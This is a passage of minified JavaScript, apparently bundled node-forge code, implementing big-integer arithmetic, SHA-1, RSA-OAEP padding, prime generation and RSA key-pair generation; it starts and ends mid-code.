K=Math.floor(A/this.DB);if(K>=this.t)return this.s!=0;return(this.data[K]&1<<A%this.DB)!=0}function cTY(A,K){var q=L8.ONE.shiftLeft(A);return this.bitwiseTo(q,K,q),q}function lTY(A){return this.changeBit(A,tD6)}function iTY(A){return this.changeBit(A,F_7)}function nTY(A){return this.changeBit(A,g_7)}function rTY(A,K){var q=0,Y=0,z=Math.min(A.t,this.t);while(q<z)Y+=this.data[q]+A.data[q],K.data[q++]=Y&this.DM,Y>>=this.DB;if(A.t<this.t){Y+=A.s;while(q<this.t)Y+=this.data[q],K.data[q++]=Y&this.DM,Y>>=this.DB;Y+=this.s}else{Y+=this.s;while(q<A.t)Y+=A.data[q],K.data[q++]=Y&this.DM,Y>>=this.DB;Y+=A.s}if(K.s=Y<0?-1:0,Y>0)K.data[q++]=Y;else if(Y<-1)K.data[q++]=this.DV+Y;K.t=q,K.clamp()}function oTY(A){var K=xY();return this.addTo(A,K),K}function aTY(A){var K=xY();return this.subTo(A,K),K}function sTY(A){var K=xY();return this.multiplyTo(A,K),K}function tTY(A){var K=xY();return this.divRemTo(A,K,null),K}function eTY(A){var K=xY();return this.divRemTo(A,null,K),K}function AvY(A){var K=xY(),q=xY();return this.divRemTo(A,K,q),[K,q]}function KvY(A){this.data[this.t]=this.am(0,A-1,this,0,0,this.t),++this.t,this.clamp()}function qvY(A,K){if(A==0)return;while(this.t<=K)this.data[this.t++]=0;this.data[K]+=A;while(this.data[K]>=this.DV){if(this.data[K]-=this.DV,++K>=this.t)this.data[this.t++]=0;++this.data[K]}}function PBA(){}function Q_7(A){return A}function YvY(A,K,q){A.multiplyTo(K,q)}function zvY(A,K){A.squareTo(K)}PBA.prototype.convert=Q_7;PBA.prototype.revert=Q_7;PBA.prototype.mulTo=YvY;PBA.prototype.sqrTo=zvY;function wvY(A){return this.exp(A,new PBA)}function HvY(A,K,q){var Y=Math.min(this.t+A.t,K);q.s=0,q.t=Y;while(Y>0)q.data[--Y]=0;var z;for(z=q.t-this.t;Y<z;++Y)q.data[Y+this.t]=this.am(0,A.data[Y],q,Y,0,this.t);for(z=Math.min(A.t,K);Y<z;++Y)this.am(0,A.data[Y],q,Y,0,K-Y);q.clamp()}function JvY(A,K,q){--K;var Y=q.t=this.t+A.t-K;q.s=0;while(--Y>=0)q.data[Y]=0;for(Y=Math.max(K-this.t,0);Y<A.t;++Y)q.data[this.t+Y-K]=this.am(K-Y,A.data[Y],q,0,0,this.t+Y-K);q.clamp(),q.drShiftTo(1,q)}function IZA(A){this.r2=xY(),this.q3=xY(),L8.ONE.dlShiftTo(2*A.t,this.r2),this.mu=this.r2.divide(A),this.m=A}function OvY(A){if(A.s<0||A.t>2*this.m.t)return A.mod(this.m);else if(A.compareTo(this.m)<0)return A;else{var K=xY();return A.copyTo(K),this.reduce(K),K}}function XvY(A){return A}function $vY(A){if(A.drShiftTo(this.m.t-1,this.r2),A.t>this.m.t+1)A.t=this.m.t+1,A.clamp();this.mu.multiplyUpperTo(this.r2,this.m.t+1,this.q3),this.m.multiplyLowerTo(this.q3,this.m.t+1,this.r2);while(A.compareTo(this.r2)<0)A.dAddOffset(1,this.m.t+1);A.subTo(this.r2,A);while(A.compareTo(this.m)>=0)A.subTo(this.m,A)}function _vY(A,K){A.squareTo(K),this.reduce(K)}function GvY(A,K,q){A.multiplyTo(K,q),this.reduce(q)}IZA.prototype.convert=OvY;IZA.prototype.revert=XvY;IZA.prototype.reduce=$vY;IZA.prototype.mulTo=GvY;IZA.prototype.sqrTo=_vY;function ZvY(A,K){var q=A.bitLength(),Y,z=xa(1),w;if(q<=0)return z;else if(q<18)Y=1;else if(q<48)Y=3;else if(q<144)Y=4;else if(q<768)Y=5;else Y=6;if(q<8)w=new EqA(K);else if(K.isEven())w=new IZA(K);else w=new kqA(K);var H=[],J=3,O=Y-1,X=(1<<Y)-1;if(H[1]=w.convert(this),Y>1){var $=xY();w.sqrTo(H[1],$);while(J<=X)H[J]=xY(),w.mulTo($,H[J-2],H[J]),J+=2}var _=A.t-1,G,Z=!0,W=xY(),D;q=sX1(A.data[_])-1;while(_>=0){if(q>=O)G=A.data[_]>>q-O&X;else if(G=(A.data[_]&(1<<q+1)-1)<<O-q,_>0)G|=A.data[_-1]>>this.DB+q-O;J=Y;while((G&1)==0)G>>=1,--J;if((q-=J)<0)q+=this.DB,--_;if(Z)H[G].copyTo(z),Z=!1;else{while(J>1)w.sqrTo(z,W),w.sqrTo(W,z),J-=2;if(J>0)w.sqrTo(z,W);else D=z,z=W,W=D;w.mulTo(W,H[G],z)}while(_>=0&&(A.data[_]&1<<q)==0)if(w.sqrTo(z,W),D=z,z=W,W=D,--q<0)q=this.DB-1,--_}return w.revert(z)}function WvY(A){var K=this.s<0?this.negate():this.clone(),q=A.s<0?A.negate():A.clone();if(K.compareTo(q)<0){var Y=K;K=q,q=Y}var z=K.getLowestSetBit(),w=q.getLowestSetBit();if(w<0)return K;if(z<w)w=z;if(w>0)K.rShiftTo(w,K),q.rShiftTo(w,q);while(K.signum()>0){if((z=K.getLowestSetBit())>0)K.rShiftTo(z,K);if((z=q.getLowestSetBit())>0)q.rShiftTo(z,q);if(K.compareTo(q)>=0)K.subTo(q,K),K.rShiftTo(1,K);else q.subTo(K,q),q.rShiftTo(1,q)}if(w>0)q.lShiftTo(w,q);return q}function DvY(A){if(A<=0)return 0;var K=this.DV%A,q=this.s<0?A-1:0;if(this.t>0)if(K==0)q=this.data[0]%A;else for(var Y=this.t-1;Y>=0;--Y)q=(K*q+this.data[Y])%A;return q}function jvY(A){var K=A.isEven();if(this.isEven()&&K||A.signum()==0)return L8.ZERO;var q=A.clone(),Y=this.clone(),z=xa(1),w=xa(0),H=xa(0),J=xa(1);while(q.signum()!=0){while(q.isEven()){if(q.rShiftTo(1,q),K){if(!z.isEven()||!w.isEven())z.addTo(this,z),w.subTo(A,w);z.rShiftTo(1,z)}else if(!w.isEven())w.subTo(A,w);w.rShiftTo(1,w)}while(Y.isEven()){if(Y.rShiftTo(1,Y),K){if(!H.isEven()||!J.isEven())H.addTo(this,H),J.subTo(A,J);H.rShiftTo(1,H)}else if(!J.isEven())J.subTo(A,J);J.rShiftTo(1,J)}if(q.compareTo(Y)>=0){if(q.subTo(Y,q),K)z.subTo(H,z);w.subTo(J,w)}else{if(Y.subTo(q,Y),K)H.subTo(z,H);J.subTo(w,J)}}if(Y.compareTo(L8.ONE)!=0)return L8.ZERO;if(J.compareTo(A)>=0)return J.subtract(A);if(J.signum()<0)J.addTo(A,J);else return J;if(J.signum()<0)return J.add(A);else return J}var uI=[2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101,103,107,109,113,127,131,137,139,149,151,157,163,167,173,179,181,191,193,197,199,211,223,227,229,233,239,241,251,257,263,269,271,277,281,283,293,307,311,313,317,331,337,347,349,353,359,367,373,379,383,389,397,401,409,419,421,431,433,439,443,449,457,461,463,467,479,487,491,499,503,509],MvY=67108864/uI[uI.length-1];function PvY(A){var K,q=this.abs();if(q.t==1&&q.data[0]<=uI[uI.length-1]){for(K=0;K<uI.length;++K)if(q.data[0]==uI[K])return!0;return!1}if(q.isEven())return!1;K=1;while(K<uI.length){var Y=uI[K],z=K+1;while(z<uI.length&&Y<MvY)Y*=uI[z++];Y=q.modInt(Y);while(K<z)if(Y%uI[K++]==0)return!1}return q.millerRabin(A)}function VvY(A){var K=this.subtract(L8.ONE),q=K.getLowestSetBit();if(q<=0)return!1;var Y=K.shiftRight(q),z=fvY(),w;for(var H=0;H<A;++H){do w=new L8(this.bitLength(),z);while(w.compareTo(L8.ONE)<=0||w.compareTo(K)>=0);var J=w.modPow(Y,this);if(J.compareTo(L8.ONE)!=0&&J.compareTo(K)!=0){var O=1;while(O++<q&&J.compareTo(K)!=0)if(J=J.modPowInt(2,this),J.compareTo(L8.ONE)==0)return!1;if(J.compareTo(K)!=0)return!1}}return!0}function fvY(){return{nextBytes:function(A){for(var K=0;K<A.length;++K)A[K]=Math.floor(Math.random()*256)}}}L8.prototype.chunkSize=NTY;L8.prototype.toRadix=vTY;L8.prototype.fromRadix=ETY;L8.prototype.fromNumber=kTY;L8.prototype.bitwiseTo=ITY;L8.prototype.changeBit=cTY;L8.prototype.addTo=rTY;L8.prototype.dMultiply=KvY;L8.prototype.dAddOffset=qvY;L8.prototype.multiplyLowerTo=HvY;L8.prototype.multiplyUpperTo=JvY;L8.prototype.modInt=DvY;L8.prototype.millerRabin=VvY;L8.prototype.clone=MTY;L8.prototype.intValue=PTY;L8.prototype.byteValue=VTY;L8.prototype.shortValue=fTY;L8.prototype.signum=TTY;L8.prototype.toByteArray=CTY;L8.prototype.equals=LTY;L8.prototype.min=RTY;L8.prototype.max=yTY;L8.prototype.and=hTY;L8.prototype.or=bTY;L8.prototype.xor=xTY;L8.prototype.andNot=uTY;L8.prototype.not=BTY;L8.prototype.shiftLeft=mTY;L8.prototype.shiftRight=gTY;L8.prototype.getLowestSetBit=QTY;L8.prototype.bitCount=pTY;L8.prototype.testBit=dTY;L8.prototype.setBit=lTY;L8.prototype.clearBit=iTY;L8.prototype.flipBit=nTY;L8.prototype.add=oTY;L8.prototype.subtract=aTY;L8.prototype.multiply=sTY;L8.prototype.divide=tTY;L8.prototype.remainder=eTY;L8.prototype.divideAndRemainder=AvY;L8.prototype.modPow=ZvY;L8.prototype.modInverse=jvY;L8.prototype.pow=wvY;L8.prototype.gcd=WvY;L8.prototype.isProbablePrime=PvY});var SZA=v((N4H,l_7)=>{var eu=m3();ru();bY();var d_7=l_7.exports=eu.sha1=eu.sha1||{};eu.md.sha1=eu.md.algorithms.sha1=d_7;d_7.create=function(){if(!c_7)NvY();var A=null,K=eu.util.createBuffer(),q=Array(80),Y={algorithm:"sha1",blockLength:64,digestLength:20,messageLength:0,fullMessageLength:null,messageLengthSize:8};return Y.start=function(){Y.messageLength=0,Y.fullMessageLength=Y.messageLength64=[];var z=Y.messageLengthSize/4;for(var w=0;w<z;++w)Y.fullMessageLength.push(0);return K=eu.util.createBuffer(),A={h0:1732584193,h1:4023233417,h2:2562383102,h3:271733878,h4:3285377520},Y},Y.start(),Y.update=function(z,w){if(w==="utf8")z=eu.util.encodeUtf8(z);var H=z.length;Y.messageLength+=H,H=[H/4294967296>>>0,H>>>0];for(var J=Y.fullMessageLength.length-1;J>=0;--J)Y.fullMessageLength[J]+=H[1],H[1]=H[0]+(Y.fullMessageLength[J]/4294967296>>>0),Y.fullMessageLength[J]=Y.fullMessageLength[J]>>>0,H[0]=H[1]/4294967296>>>0;if(K.putBytes(z),p_7(A,q,K),K.read>2048||K.length()===0)K.compact();return Y},Y.digest=function(){var z=eu.util.createBuffer();z.putBytes(K.bytes());var w=Y.fullMessageLength[Y.fullMessageLength.length-1]+Y.messageLengthSize,H=w&Y.blockLength-1;z.putBytes(eD6.substr(0,Y.blockLength-H));var J,O,X=Y.fullMessageLength[0]*8;for(var $=0;$<Y.fullMessageLength.length-1;++$)J=Y.fullMessageLength[$+1]*8,O=J/4294967296>>>0,X+=O,z.putInt32(X>>>0),X=J>>>0;z.putInt32(X);var _={h0:A.h0,h1:A.h1,h2:A.h2,h3:A.h3,h4:A.h4};p_7(_,q,z);var G=eu.util.createBuffer();return G.putInt32(_.h0),G.putInt32(_.h1),G.putInt32(_.h2),G.putInt32(_.h3),G.putInt32(_.h4),G},Y};var eD6=null,c_7=!1;function NvY(){eD6=String.fromCharCode(128),eD6+=eu.util.fillString(String.fromCharCode(0),64),c_7=!0}function p_7(A,K,q){var Y,z,w,H,J,O,X,$,_=q.length();while(_>=64){z=A.h0,w=A.h1,H=A.h2,J=A.h3,O=A.h4;for($=0;$<16;++$)Y=q.getInt32(),K[$]=Y,X=J^w&(H^J),Y=(z<<5|z>>>27)+X+O+1518500249+Y,O=J,J=H,H=(w<<30|w>>>2)>>>0,w=z,z=Y;for(;$<20;++$)Y=K[$-3]^K[$-8]^K[$-14]^K[$-16],Y=Y<<1|Y>>>31,K[$]=Y,X=J^w&(H^J),Y=(z<<5|z>>>27)+X+O+1518500249+Y,O=J,J=H,H=(w<<30|w>>>2)>>>0,w=z,z=Y;for(;$<32;++$)Y=K[$-3]^K[$-8]^K[$-14]^K[$-16],Y=Y<<1|Y>>>31,K[$]=Y,X=w^H^J,Y=(z<<5|z>>>27)+X+O+1859775393+Y,O=J,J=H,H=(w<<30|w>>>2)>>>0,w=z,z=Y;for(;$<40;++$)Y=K[$-6]^K[$-16]^K[$-28]^K[$-32],Y=Y<<2|Y>>>30,K[$]=Y,X=w^H^J,Y=(z<<5|z>>>27)+X+O+1859775393+Y,O=J,J=H,H=(w<<30|w>>>2)>>>0,w=z,z=Y;for(;$<60;++$)Y=K[$-6]^K[$-16]^K[$-28]^K[$-32],Y=Y<<2|Y>>>30,K[$]=Y,X=w&H|J&(w^H),Y=(z<<5|z>>>27)+X+O+2400959708+Y,O=J,J=H,H=(w<<30|w>>>2)>>>0,w=z,z=Y;for(;$<80;++$)Y=K[$-6]^K[$-16]^K[$-28]^K[$-32],Y=Y<<2|Y>>>30,K[$]=Y,X=w^H^J,Y=(z<<5|z>>>27)+X+O+3395469782+Y,O=J,J=H,H=(w<<30|w>>>2)>>>0,w=z,z=Y;A.h0=A.h0+z|0,A.h1=A.h1+w|0,A.h2=A.h2+H|0,A.h3=A.h3+J|0,A.h4=A.h4+O|0,_-=64}}});var Aj6=v((T4H,n_7)=>{var AB=m3();bY();uC();SZA();var i_7=n_7.exports=AB.pkcs1=AB.pkcs1||{};i_7.encode_rsa_oaep=function(A,K,q){var Y,z,w,H;if(typeof q==="string")Y=q,z=arguments[3]||void 0,w=arguments[4]||void 0;else if(q){if(Y=q.label||void 0,z=q.seed||void 0,w=q.md||void 0,q.mgf1&&q.mgf1.md)H=q.mgf1.md}if(!w)w=AB.md.sha1.create();else w.start();if(!H)H=w;var J=Math.ceil(A.n.bitLength()/8),O=J-2*w.digestLength-2;if(K.length>O){var X=Error("RSAES-OAEP input message length is too long.");throw X.length=K.length,X.maxLength=O,X}if(!Y)Y="";w.update(Y,"raw");var $=w.digest(),_="",G=O-K.length;for(var Z=0;Z<G;Z++)_+="\x00";var W=$.getBytes()+_+"\x01"+K;if(!z)z=AB.random.getBytes(w.digestLength);else if(z.length!==w.digestLength){var X=Error("Invalid RSAES-OAEP seed. The seed length must match the digest length.");throw X.seedLength=z.length,X.digestLength=w.digestLength,X}var D=tX1(z,J-w.digestLength-1,H),j=AB.util.xorBytes(W,D,W.length),M=tX1(j,w.digestLength,H),P=AB.util.xorBytes(z,M,z.length);return"\x00"+P+j};i_7.decode_rsa_oaep=function(A,K,q){var Y,z,w;if(typeof q==="string")Y=q,z=arguments[3]||void 0;else if(q){if(Y=q.label||void 0,z=q.md||void 0,q.mgf1&&q.mgf1.md)w=q.mgf1.md}var H=Math.ceil(A.n.bitLength()/8);if(K.length!==H){var j=Error("RSAES-OAEP encoded message length is invalid.");throw j.length=K.length,j.expectedLength=H,j}if(z===void 0)z=AB.md.sha1.create();else z.start();if(!w)w=z;if(H<2*z.digestLength+2)throw Error("RSAES-OAEP key is too short for the hash function.");if(!Y)Y="";z.update(Y,"raw");var J=z.digest().getBytes(),O=K.charAt(0),X=K.substring(1,z.digestLength+1),$=K.substring(1+z.digestLength),_=tX1($,z.digestLength,w),G=AB.util.xorBytes(X,_,X.length),Z=tX1(G,H-z.digestLength-1,w),W=AB.util.xorBytes($,Z,$.length),D=W.substring(0,z.digestLength),j=O!=="\x00";for(var M=0;M<z.digestLength;++M)j|=J.charAt(M)!==D.charAt(M);var P=1,f=z.digestLength;for(var N=z.digestLength;N<W.length;N++){var T=W.charCodeAt(N),C=T&1^1,R=P?65534:0;j|=T&R,P=P&C,f+=P}if(j||W.charCodeAt(f)!==1)throw Error("Invalid RSAES-OAEP padding.");return W.substring(f+1)};function tX1(A,K,q){if(!q)q=AB.md.sha1.create();var Y="",z=Math.ceil(K/q.digestLength);for(var w=0;w<z;++w){var H=String.fromCharCode(w>>24&255,w>>16&255,w>>8&255,w&255);q.start(),q.update(A+H),Y+=q.digest().getBytes()}return Y.substring(0,K)}});var qj6=v((v4H,Kj6)=>{var ua=m3();bY();VBA();uC();(function(){if(ua.prime){Kj6.exports=ua.prime;return}var A=Kj6.exports=ua.prime=ua.prime||{},K=ua.jsbn.BigInteger,q=[6,4,2,4,2,4,6,2],Y=new K(null);Y.fromInt(30);var z=function(_,G){return _|G};A.generateProbablePrime=function(_,G,Z){if(typeof G==="function")Z=G,G={};G=G||{};var W=G.algorithm||"PRIMEINC";if(typeof W==="string")W={name:W};W.options=W.options||{};var D=G.prng||ua.random,j={nextBytes:function(M){var P=D.getBytesSync(M.length);for(var f=0;f<M.length;++f)M[f]=P.charCodeAt(f)}};if(W.name==="PRIMEINC")return w(_,j,W.options,Z);throw Error("Invalid prime generation algorithm: "+W.name)};function w(_,G,Z,W){if("workers"in Z)return O(_,G,Z,W);return H(_,G,Z,W)}function H(_,G,Z,W){var D=X(_,G),j=0,M=$(D.bitLength());if("millerRabinTests"in Z)M=Z.millerRabinTests;var P=10;if("maxBlockTime"in Z)P=Z.maxBlockTime;J(D,_,G,j,M,P,W)}function J(_,G,Z,W,D,j,M){var P=+new Date;do{if(_.bitLength()>G)_=X(G,Z);if(_.isProbablePrime(D))return M(null,_);_.dAddOffset(q[W++%8],0)}while(j<0||+new Date-P<j);ua.util.setImmediate(function(){J(_,G,Z,W,D,j,M)})}function O(_,G,Z,W){if(typeof Worker>"u")return H(_,G,Z,W);var D=X(_,G),j=Z.workers,M=Z.workLoad||100,P=M*30/8,f=Z.workerScript||"forge/prime.worker.js";if(j===-1)return ua.util.estimateCores(function(T,C){if(T)C=2;j=C-1,N()});N();function N(){j=Math.max(1,j);var T=[];for(var C=0;C<j;++C)T[C]=new Worker(f);var R=j;for(var C=0;C<j;++C)T[C].addEventListener("message",y);var x=!1;function y(B){if(x)return;--R;var b=B.data;if(b.found){for(var F=0;F<T.length;++F)T[F].terminate();return x=!0,W(null,new K(b.prime,16))}if(D.bitLength()>_)D=X(_,G);var Q=D.toString(16);B.target.postMessage({hex:Q,workLoad:M}),D.dAddOffset(P,0)}}}function X(_,G){var Z=new K(_,G),W=_-1;if(!Z.testBit(W))Z.bitwiseTo(K.ONE.shiftLeft(W),z,Z);return Z.dAddOffset(31-Z.mod(Y).byteValue(),0),Z}function $(_){if(_<=100)return 27;if(_<=150)return 18;if(_<=200)return 15;if(_<=250)return 12;if(_<=300)return 9;if(_<=350)return 8;if(_<=400)return 7;if(_<=500)return 6;if(_<=600)return 5;if(_<=800)return 4;if(_<=1250)return 3;return 2}})()});var fBA=v((E4H,AG7)=>{var lK=m3();xI();VBA();ba();Aj6();qj6();uC();bY();if(typeof OY>"u")OY=lK.jsbn.BigInteger;var OY,Yj6=lK.util.isNodejs?CA("crypto"):null,P6=lK.asn1,mC=lK.util;lK.pki=lK.pki||{};AG7.exports=lK.pki.rsa=lK.rsa=lK.rsa||{};var c5=lK.pki,TvY=[6,4,2,4,2,4,6,2],vvY={name:"PrivateKeyInfo",tagClass:P6.Class.UNIVERSAL,type:P6.Type.SEQUENCE,constructed:!0,value:[{name:"PrivateKeyInfo.version",tagClass:P6.Class.UNIVERSAL,type:P6.Type.INTEGER,constructed:!1,capture:"privateKeyVersion"},{name:"PrivateKeyInfo.privateKeyAlgorithm",tagClass:P6.Class.UNIVERSAL,type:P6.Type.SEQUENCE,constructed:!0,value:[{name:"AlgorithmIdentifier.algorithm",tagClass:P6.Class.UNIVERSAL,type:P6.Type.OID,constructed:!1,capture:"privateKeyOid"}]},{name:"PrivateKeyInfo",tagClass:P6.Class.UNIVERSAL,type:P6.Type.OCTETSTRING,constructed:!1,capture:"privateKey"}]},EvY={name:"RSAPrivateKey",tagClass:P6.Class.UNIVERSAL,type:P6.Type.SEQUENCE,constructed:!0,value:[{name:"RSAPrivateKey.version",tagClass:P6.Class.UNIVERSAL,type:P6.Type.INTEGER,constructed:!1,capture:"privateKeyVersion"},{name:"RSAPrivateKey.modulus",tagClass:P6.Class.UNIVERSAL,type:P6.Type.INTEGER,constructed:!1,capture:"privateKeyModulus"},{name:"RSAPrivateKey.publicExponent",tagClass:P6.Class.UNIVERSAL,type:P6.Type.INTEGER,constructed:!1,capture:"privateKeyPublicExponent"},{name:"RSAPrivateKey.privateExponent",tagClass:P6.Class.UNIVERSAL,type:P6.Type.INTEGER,constructed:!1,capture:"privateKeyPrivateExponent"},{name:"RSAPrivateKey.prime1",tagClass:P6.Class.UNIVERSAL,type:P6.Type.INTEGER,constructed:!1,capture:"privateKeyPrime1"},{name:"RSAPrivateKey.prime2",tagClass:P6.Class.UNIVERSAL,type:P6.Type.INTEGER,constructed:!1,capture:"privateKeyPrime2"},{name:"RSAPrivateKey.exponent1",tagClass:P6.Class.UNIVERSAL,type:P6.Type.INTEGER,constructed:!1,capture:"privateKeyExponent1"},{name:"RSAPrivateKey.exponent2",tagClass:P6.Class.UNIVERSAL,type:P6.Type.INTEGER,constructed:!1,capture:"privateKeyExponent2"},{name:"RSAPrivateKey.coefficient",tagClass:P6.Class.UNIVERSAL,type:P6.Type.INTEGER,constructed:!1,capture:"privateKeyCoefficient"}]},kvY={name:"RSAPublicKey",tagClass:P6.Class.UNIVERSAL,type:P6.Type.SEQUENCE,constructed:!0,value:[{name:"RSAPublicKey.modulus",tagClass:P6.Class.UNIVERSAL,type:P6.Type.INTEGER,constructed:!1,capture:"publicKeyModulus"},{name:"RSAPublicKey.exponent",tagClass:P6.Class.UNIVERSAL,type:P6.Type.INTEGER,constructed:!1,capture:"publicKeyExponent"}]},CvY=lK.pki.rsa.publicKeyValidator={name:"SubjectPublicKeyInfo",tagClass:P6.Class.UNIVERSAL,type:P6.Type.SEQUENCE,constructed:!0,captureAsn1:"subjectPublicKeyInfo",value:[{name:"SubjectPublicKeyInfo.AlgorithmIdentifier",tagClass:P6.Class.UNIVERSAL,type:P6.Type.SEQUENCE,constructed:!0,value:[{name:"AlgorithmIdentifier.algorithm",tagClass:P6.Class.UNIVERSAL,type:P6.Type.OID,constructed:!1,capture:"publicKeyOid"}]},{name:"SubjectPublicKeyInfo.subjectPublicKey",tagClass:P6.Class.UNIVERSAL,type:P6.Type.BITSTRING,constructed:!1,value:[{name:"SubjectPublicKeyInfo.subjectPublicKey.RSAPublicKey",tagClass:P6.Class.UNIVERSAL,type:P6.Type.SEQUENCE,constructed:!0,optional:!0,captureAsn1:"rsaPublicKey"}]}]},LvY={name:"DigestInfo",tagClass:P6.Class.UNIVERSAL,type:P6.Type.SEQUENCE,constructed:!0,value:[{name:"DigestInfo.DigestAlgorithm",tagClass:P6.Class.UNIVERSAL,type:P6.Type.SEQUENCE,constructed:!0,value:[{name:"DigestInfo.DigestAlgorithm.algorithmIdentifier",tagClass:P6.Class.UNIVERSAL,type:P6.Type.OID,constructed:!1,capture:"algorithmIdentifier"},{name:"DigestInfo.DigestAlgorithm.parameters",tagClass:P6.Class.UNIVERSAL,type:P6.Type.NULL,capture:"parameters",optional:!0,constructed:!1}]},{name:"DigestInfo.digest",tagClass:P6.Class.UNIVERSAL,type:P6.Type.OCTETSTRING,constructed:!1,capture:"digest"}]},RvY=function(A){var K;if(A.algorithm in c5.oids)K=c5.oids[A.algorithm];else{var q=Error("Unknown message digest algorithm.");throw q.algorithm=A.algorithm,q}var Y=P6.oidToDer(K).getBytes(),z=P6.create(P6.Class.UNIVERSAL,P6.Type.SEQUENCE,!0,[]),w=P6.create(P6.Class.UNIVERSAL,P6.Type.SEQUENCE,!0,[]);w.value.push(P6.create(P6.Class.UNIVERSAL,P6.Type.OID,!1,Y)),w.value.push(P6.create(P6.Class.UNIVERSAL,P6.Type.NULL,!1,""));var H=P6.create(P6.Class.UNIVERSAL,P6.Type.OCTETSTRING,!1,A.digest().getBytes());return z.value.push(w),z.value.push(H),P6.toDer(z).getBytes()},t_7=function(A,K,q){if(q)return A.modPow(K.e,K.n);if(!K.p||!K.q)return A.modPow(K.d,K.n);if(!K.dP)K.dP=K.d.mod(K.p.subtract(OY.ONE));if(!K.dQ)K.dQ=K.d.mod(K.q.subtract(OY.ONE));if(!K.qInv)K.qInv=K.q.modInverse(K.p);var Y;do Y=new OY(lK.util.bytesToHex(lK.random.getBytes(K.n.bitLength()/8)),16);while(Y.compareTo(K.n)>=0||!Y.gcd(K.n).equals(OY.ONE));A=A.multiply(Y.modPow(K.e,K.n)).mod(K.n);var z=A.mod(K.p).modPow(K.dP,K.p),w=A.mod(K.q).modPow(K.dQ,K.q);while(z.compareTo(w)<0)z=z.add(K.p);var H=z.subtract(w).multiply(K.qInv).mod(K.p).multiply(K.q).add(w);return H=H.multiply(Y.modInverse(K.n)).mod(K.n),H};c5.rsa.encrypt=function(A,K,q){var Y=q,z,w=Math.ceil(K.n.bitLength()/8);if(q!==!1&&q!==!0)Y=q===2,z=e_7(A,K,q);else z=lK.util.createBuffer(),z.putBytes(A);var H=new OY(z.toHex(),16),J=t_7(H,K,Y),O=J.toString(16),X=lK.util.createBuffer(),$=w-Math.ceil(O.length/2);while($>0)X.putByte(0),--$;return X.putBytes(lK.util.hexToBytes(O)),X.getBytes()};c5.rsa.decrypt=function(A,K,q,Y){var z=Math.ceil(K.n.bitLength()/8);if(A.length!==z){var w=Error("Encrypted message length is invalid.");throw w.length=A.length,w.expected=z,w}var H=new OY(lK.util.createBuffer(A).toHex(),16);if(H.compareTo(K.n)>=0)throw Error("Encrypted message is invalid.");var J=t_7(H,K,q),O=J.toString(16),X=lK.util.createBuffer(),$=z-Math.ceil(O.length/2);while($>0)X.putByte(0),--$;if(X.putBytes(lK.util.hexToBytes(O)),Y!==!1)return eX1(X.getBytes(),K,q);return X.getBytes()};c5.rsa.createKeyPairGenerationState=function(A,K,q){if(typeof A==="string")A=parseInt(A,10);A=A||2048,q=q||{};var Y=q.prng||lK.random,z={nextBytes:function(J){var O=Y.getBytesSync(J.length);for(var X=0;X<J.length;++X)J[X]=O.charCodeAt(X)}},w=q.algorithm||"PRIMEINC",H;if(w==="PRIMEINC")H={algorithm:w,state:0,bits:A,rng:z,eInt:K||65537,e:new OY(null),p:null,q:null,qBits:A>>1,pBits:A-(A>>1),pqState:0,num:null,keys:null},H.e.fromInt(H.eInt);else throw Error("Invalid key generation algorithm: "+w);return H};c5.rsa.stepKeyPairGenerationState=function(A,K){if(!("algorithm"in A))A.algorithm="PRIMEINC";var q=new OY(null);q.fromInt(30);var Y=0,z=function(_,G){return _|G},w=+new Date,H,J=0;while(A.keys===null&&(K<=0||J<K)){if(A.state===0){var O=A.p===null?A.pBits:A.qBits,X=O-1;if(A.pqState===0){if(A.num=new OY(O,A.rng),!A.num.testBit(X))A.num.bitwiseTo(OY.ONE.shiftLeft(X),z,A.num);A.num.dAddOffset(31-A.num.mod(q).byteValue(),0),Y=0,++A.pqState}else if(A.pqState===1)if(A.num.bitLength()>O)A.pqState=0;else if(A.num.isProbablePrime(IvY(A.num.bitLength())))++A.pqState;else A.num.dAddOffset(TvY[Y++%8],0);else if(A.pqState===2)A.pqState=A.num.subtract(OY.ONE).gcd(A.e).compareTo(OY.ONE)===0?3:0;else if(A.pqState===3){if(A.pqState=0,A.p===null)A.p=A.num;else A.q=A.num;if(A.p!==null&&A.q!==null)++A.state;A.num=null}}else if(A.state===1){if(A.p.compareTo(A.q)<0)A.num=A.p,A.p=A.q,A.q=A.num;++A.state}else if(A.state===2)A.p1=A.p.subtract(OY.ONE),A.q1=A.q.subtract(OY.ONE),A.phi=A.p1.multiply(A.q1),++A.state;else if(A.state===3)if(A.phi.gcd(A.e).compareTo(OY.ONE)===0)++A.state;else A.p=null,A.q=null,A.state=0;else if(A.state===4)if(A.n=A.p.multiply(A.q),A.n.bitLength()===A.bits)++A.state;else A.q=null,A.state=0;else if(A.state===5){var $=A.e.modInverse(A.phi);A.keys={privateKey:c5.rsa.setPrivateKey(A.n,A.e,$,A.p,A.q,$.mod(A.p1),$.mod(A.q1),A.q.modInverse(A.p)),publicKey:c5.rsa.setPublicKey(A.n,A.e)}}H=+new Date,J+=H-w,w=H}return A.keys!==null};c5.rsa.generateKeyPair=function(A,K,q,Y){if(arguments.length===1){if(typeof A==="object")q=A,A=void 0;else if(typeof A==="function")Y=A,A=void 0}else if(arguments.length===2)if(typeof A==="number"){if(typeof K==="function")Y=K,K=void 0;else if(typeof K!=="number")q=K,K=void 0}else q=A,Y=K,A=void 0,K=void 0;else if(arguments.length===3)if(typeof K==="number"){if(typeof q==="function")Y=q,q=void 0}else Y=q,q=K,K=void 0;if(q=q||{},A===void 0)A=q.bits||2048;if(K===void 0)K=q.e||65537;if(!lK.options.usePureJavaScript&&!q.prng&&A>=256&&A<=16384&&(K===65537||K===3)){if(Y){if(r_7("generateKeyPair"))return Yj6.generateKeyPair("rsa",{modulusLength:A,publicExponent:K,publicKeyEncoding:{type:"spki",format:"pem"},privateKeyEncoding:{type:"pkcs8",format:"pem"}},function(J,O,X){if(J)return Y(J);Y(null,{privateKey:c5.privateKeyFromPem(X),publicKey:c5.publicKeyFromPem(O)})});if(o_7("generateKey")&&o_7("exportKey"))return mC.globalScope.crypto.subtle.generateKey({name:"RSASSA-PKCS1-v1_5",modulusLength:A,publicExponent:s_7(K),hash:{name:"SHA-256"}},!0,["sign","verify"]).then(function(J){return mC.globalScope.crypto.subtle.exportKey("pkcs8",J.privateKey)}).then(void 0,function(J){Y(J)}).then(function(J){if(J){var O=c5.privateKeyFromAsn1(P6.fromDer(lK.util.createBuffer(J)));Y(null,{privateKey:O,publicKey:c5.setRsaPublicKey(O.n,O.e)})}});if(a_7("generateKey")&&a_7("exportKey")){var 